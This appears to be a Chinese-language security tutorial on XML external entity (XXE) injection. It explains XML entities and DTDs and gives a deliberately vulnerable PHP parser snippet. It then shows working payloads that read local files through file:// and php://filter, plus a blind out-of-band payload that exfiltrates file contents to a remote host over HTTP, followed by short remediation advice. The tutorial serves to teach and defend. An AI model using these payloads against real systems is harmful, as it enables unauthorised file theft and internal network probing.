XXE-XML实体注入攻击
0x01 前言
基础漏洞梳理
0x02 概念
XML基础概念
XML(Extensible Markup Language)被设计用来传输和存储数据。
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
与HTML(超文本标记语言)不同的是,XML与HTML不属于替代关系,而是各司其职,XML被设计为传输和存储数据,焦点是数据的内容。而HTML被设计用来显示数据,焦点是数据的外观。HTML旨在显示信息,XML旨在传输信息。
XML没有任何行为,它仅仅是一串带着信息的纯文本,用于存储或传递规定好的信息。
XML可以自由定义标签,只需在解析函数写清楚标签代表的含义即可成功解析。
比如我想定义一个书库,里面有书,每本书有相应的信息
在上面代码中的第一行,定义XML的版本与编码。
在XML文档中,所有的元素都必须正确的嵌套,形成树状结构。并且整个XML文档中必须要有一个根元素。如上面的代码,<bookstore>是整个文档的根元素。嵌套在bookstroe标签中的<book>、<name>、<author>、<year>、<price>、<language>则是根的子元素。
同样的,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。
实体
所有的XML文档都由五种简单的构建模块(元素、属性、实体、PCDATA CDATA 已解析的字符数据和不被解析的标签 )构成。这里介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或者外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
实体类型
XML实体分为四种:字符实体,命名实体,外部实体,参数实体。
文档类型定义:DTD
wiki百科关于这项的描述是:The XML DTD syntax is one of several XML schema languages。简单的说,DTD的作用是定义XML文档的合法构建模块。如前所述,实体也是构建模块之一。因此可以利用DTD来内部或外部引入实体。
其基本格式为:
<!DOCTYPE 根元素名 [ 元素描述 ]>
内部引入
格式:
<!ENTITY 实体名称 "实体的值">
将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY chybeta "Hello World!"> ]> <xxe> &chybeta; </xxe>
访问该XML文档,&chybeta;会被解析为Hello World!并输出。
外部引入
基本格式:
<!ENTITY 实体名称 SYSTEM "URI">
通过引用定义在外部的DTD中的实体,我们称之位外部实体。
由于xxe漏洞主要利用的是外部实体,所以这里暂不展开。具体实例如下。
0x03 利用
xxe注入
index.php
<?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml);?>
读取本地文件
利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取c盘里的config.ini文件。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://config.ini">]><root>&file;</root>
将上述代码url编码后发送(不进行url编码无法解析),即可读取文件。
如果要读取php文件,由于php和html文件存在尖括号,所以直接用file协议会解析错误,所以可以使用php://filter伪协议将内容转换为base64后再读取。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=E:/Program/php/PHPTutorial/WWW/ssrf.php">]><root>&file;</root>
然后decode base64即可
命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。这里暂不进行测试。
内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
同样可以进行端口探测等操作。
blind xxe
我们将php文件中的print去掉,这样就变为了盲xxe。
<?php $xml=simplexml_load_string($_GET['xml']);?>
读取本地文件
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [<!ENTITY % file SYSTEM "file:///E:/Program/php/PHPTutorial/WWW/test.txt"> <!ENTITY % dtd SYSTEM "http://192.168.150.131/xxe.xml">%dtd; %all;]><value>&send;</value>
这里的加粗部分是你的vps地址,我由于vps未安装apache,所以本地实现。
我在192.168.150.131的html目录下的xxe.xml文件写入:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.131/%file;'>">
测试文件内容为:
整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。查看vps上的access.log:
若要读取php等文件,同样需要先经过base64加密下。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"><!ENTITY % dtd SYSTEM "http://192.168.150.131/xxe.xml">%dtd; %all;]><value>&send;</value>
这里其实在输出的时候会导致php报错,报错会将信息显示出来,所以如果在未关闭报错的时候也可以直接使用。
0x04 修复方法
1、禁止加载外部实体;
2、不允许XML中含有任何自己声明的DTD
0x05 结语
end!
参考:
https://chybeta.github.io/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/deng-cc/p/6349107.html
https://blog.csdn.net/oscarli/article/details/94735001